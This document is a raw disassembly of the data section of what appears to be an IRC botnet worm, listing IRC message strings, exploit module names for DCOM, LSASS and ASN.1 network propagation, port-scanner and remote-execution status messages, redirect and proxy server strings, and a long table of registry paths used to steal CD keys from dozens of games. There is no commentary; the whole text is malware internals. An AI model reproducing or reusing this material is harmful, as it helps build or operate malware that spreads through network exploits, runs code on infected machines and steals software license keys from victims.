aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+F6o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4062F7+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4062F7+77o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406A63+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_4271B8	dd 4000500h, 7868746Bh,	2 dup(0)dword_4271C8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_406B84+479o
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 4
unk_427218	db    2			; DATA XREF: sub_406B84+3B6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
dword_427254	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406B84+399o
unk_427268	db    2			; DATA XREF: sub_406B84+33Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 10h
unk_4272C0	db    2			; DATA XREF: sub_406B84+15Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 10h
unk_427310	db    2			; DATA XREF: sub_406B84+6Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_2	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: sub_406B84+Fo
		align 10h
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_4076CB+155o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: .text:00404A94o
		align 4
		dd 5 dup(0)
dword_427388	dd 87h							; sub_40CD3A+2EEAr ...
off_42738C	dd offset sub_4033B6	; DATA XREF: sub_4076CB+1D7r
dword_427390	dd 0							; sub_4033B6+2F0r ...
dword_427394	dd 1		dword_427398	dd 0		aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 4033B6h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 4033B6h, 0
		dd 1, 0
aDcass		db 'dcass',0
		align 4
		dd 63640000h, 737361h, 6 dup(0)
		dd 1BDh, 402F74h, 0
		dd 2 dup(1), 7361736Ch,	35343473h, 736C0000h, 34737361h
		dd 3534h, 5 dup(0)
		dd 1BDh, 403C74h, 0
		dd 2 dup(1), 7361736Ch,	35333173h, 736C0000h, 31737361h
		dd 3533h, 5 dup(0)
		dd 87h,	403C74h, 0
		dd 2 dup(1), 7361736Ch,	39333173h, 736C0000h, 31737361h
		dd 3933h, 5 dup(0)
		dd 8Bh,	403C74h, 0
		dd 2 dup(1), 61736C63h,	7373h, 6C630000h, 73736173h, 6 dup(0)
		dd 1BDh, 402DD1h, 0
		dd 2 dup(1), 6C31736Ch,	73h, 736C0000h,	736C31h, 6 dup(0)
		dd 1BDh, 403E21h, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 404EC7h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 736D0074h, 737361h
		dd 6 dup(0)
		dd 599h, 4050FFh, 0
		dd 2 dup(1), 6C616572h,	74736163h, 65520000h, 61636C61h
		dd 7473h, 5 dup(0)
		dd 22Ah, 40528Fh, 0
		dd 1, 0
aAsn1http	db 'asn1http',0
		align 2
aAsn1http_0	db 'asn1http',0
		align 4
		dd 5 dup(0)
		dd 50h,	4048D6h, 0
		dd 2 dup(1), 316E7361h,	626D73h, 73610000h, 6D73316Eh
		dd 62h,	5 dup(0)
		dd 1BDh, 4048D6h, 0
		dd 2 dup(1), 7361736Dh,	73h, 73610000h,	6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	4048D6h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h
		db 74h,	0
byte_4276EE	db 1			; DATA XREF: sub_40CD3A:loc_4117DEr
					; sub_40CD3A+4AAEo
aMsass		db 'msass',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407075+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407075+42o
		align 4
unk_427728	db    2			; DATA XREF: sub_407075+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 10h
unk_427760	db    2			; DATA XREF: sub_40713F+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_427794	db    2			; DATA XREF: sub_40713F+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_4277C8	db    2			; DATA XREF: sub_4071B6+35Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 10h
unk_427810	db    2			; DATA XREF: sub_4071B6+307o
					; sub_40CD3A+4FD8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 10h
dword_427860	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_4071B6+252o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 8
dword_4278A8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_4071B6+1FBo
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 10h
unk_427900	db    2			; DATA XREF: sub_4071B6+138o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_427948	db    2			; DATA XREF: sub_4071B6+D8o
					; sub_40CD3A+4E63o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_407592+38o
					; sub_40A08A+46o
unk_4279A8	db    2			; DATA XREF: sub_4076CB+DCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
		align 8
unk_4279E8	db    2			; DATA XREF: sub_4076CB+84o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_427A38	db    2			; DATA XREF: sub_4078DF+1E0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 10h
unk_427A90	db    2			; DATA XREF: sub_4078DF+168o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 10h
unk_427AE0	db    2			; DATA XREF: sub_4078DF+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_427B30	db    2			; DATA XREF: sub_4078DF+87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 10h
unk_427B80	db    2			; DATA XREF: sub_407B36+143o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 10h
unk_427BD0	db    2			; DATA XREF: sub_407B36+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_427C28	db    2			; DATA XREF: sub_407CBD+157o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 10h
unk_427C80	db    2			; DATA XREF: sub_407CBD+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_427CD8	db    2			; DATA XREF: sub_407F42+1B1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_427D20	db    2			; DATA XREF: sub_407F42+17Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
		align 10h
unk_427D70	db    2			; DATA XREF: sub_407F42+114o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_427DC8	db    2			; DATA XREF: sub_407F42+A8o
					; sub_40CD3A+584Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 8
unk_427E08	db    2			; DATA XREF: sub_408146+1F9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
		align 10h
unk_427E60	db    2			; DATA XREF: sub_408146+18Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_427EB0	db    2			; DATA XREF: sub_408146+F2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
		dd 80000001h
off_427F04	dd offset aSoftwareValveC ; DATA XREF: sub_408503+Cr
					; sub_408503+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427F10	dd 2 dup(0)			dd 80000001h, 4290A8h, 42909Ch,	42908Ch, 2 dup(0)
		dd 80000001h, 42906Ch, 429068h,	429054h, 2 dup(0)
		dd 80000001h, 429030h, 429068h,	429024h, 2 dup(0)
		dd 80000001h, 429000h, 428FF8h,	428FE4h, 2 dup(0)
		dd 80000001h, 428FD0h, 428FC0h,	428FA4h, 2 dup(0)
		dd 80000001h, 428F60h, 4290E8h,	428F4Ch, 2 dup(0)
		dd 80000002h, 428F20h, 428F14h,	428EF4h, 2 dup(0)
		dd 80000002h, 428EC0h, 4290E8h,	428EA8h, 2 dup(0)
		dd 80000002h, 428E74h, 4290E8h,	428E5Ch, 2 dup(0)
		dd 80000002h, 428E44h, 4290E8h,	428E2Ch, 2 dup(0)
		dd 80000002h, 428DF0h, 43B658h,	428DE0h, 2 dup(0)
		dd 80000002h, 428DA8h, 43B658h,	428D94h, 2 dup(0)
		dd 80000002h, 428D48h, 43B658h,	428D28h, 2 dup(0)
		dd 80000002h, 428CD8h, 43B658h,	428CA8h, 2 dup(0)
		dd 80000002h, 428C6Ch, 43B658h,	428C58h, 2 dup(0)
		dd 80000002h, 428C20h, 43B658h,	428C10h, 2 dup(0)
		dd 80000002h, 428BC0h, 43B658h,	428B90h, 2 dup(0)
		dd 80000002h, 428B50h, 43B658h,	428B30h, 2 dup(0)
		dd 80000002h, 428B00h, 43B658h,	428AE0h, 2 dup(0)
		dd 80000002h, 428AA4h, 43B658h,	428A90h, 2 dup(0)
		dd 80000002h, 428A48h, 43B658h,	428A24h, 2 dup(0)
		dd 80000002h, 4289D0h, 43B658h,	4289A0h, 2 dup(0)
		dd 80000002h, 428950h, 43B658h,	428924h, 2 dup(0)
		dd 80000002h, 4288E4h, 4288DCh,	4288BCh, 2 dup(0)
		dd 80000002h, 428878h, 43B658h,	42885Ch, 2 dup(0)
		dd 80000002h, 428810h, 43B658h,	4287ECh, 2 dup(0)
		dd 80000002h, 4287B8h, 43B658h,	4287ACh, 2 dup(0)
		dd 80000002h, 428778h, 43B658h,	42876Ch, 2 dup(0)
		dd 80000002h, 428738h, 43B658h,	42872Ch, 2 dup(0)
		dd 80000002h, 4286F8h, 43B658h,	4286ECh, 2 dup(0)
		dd 80000002h, 4286B0h, 43B658h,	42869Ch, 2 dup(0)
		dd 80000002h, 428660h, 43B658h,	42864Ch, 2 dup(0)
		dd 80000002h, 42861Ch, 4290E8h,	428600h, 2 dup(0)
		dd 80000002h, 4285E0h, 4285D8h,	4285B4h, 2 dup(0)
		dd 80000002h, 428598h, 4285D8h,	428578h, 2 dup(0)
		dd 80000002h, 428558h, 4285D8h,	428534h, 2 dup(0)
		dd 80000002h, 42851Ch, 4285D8h,	428518h, 2 dup(0)
		dd 80000002h, 4284FCh, 4284ECh,	4284E4h, 2 dup(0)
		dd 80000002h, 4284B0h, 4284ACh,	428494h, 2 dup(0)
		dd 80000002h, 428458h, 42844Ch,	428424h, 428414h, 428400h
		dd 80000002h, 4283DCh, 4283D0h,	4283BCh, 4283ACh, 4283A4h
		dd 80000002h, 4283DCh, 4283D0h,	428378h, 4283ACh, 428370h
		dd 80000002h, 4283DCh, 4283D0h,	428340h, 4283ACh, 428338h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: .text:0042D28Co
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 8
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 10h
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 8
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
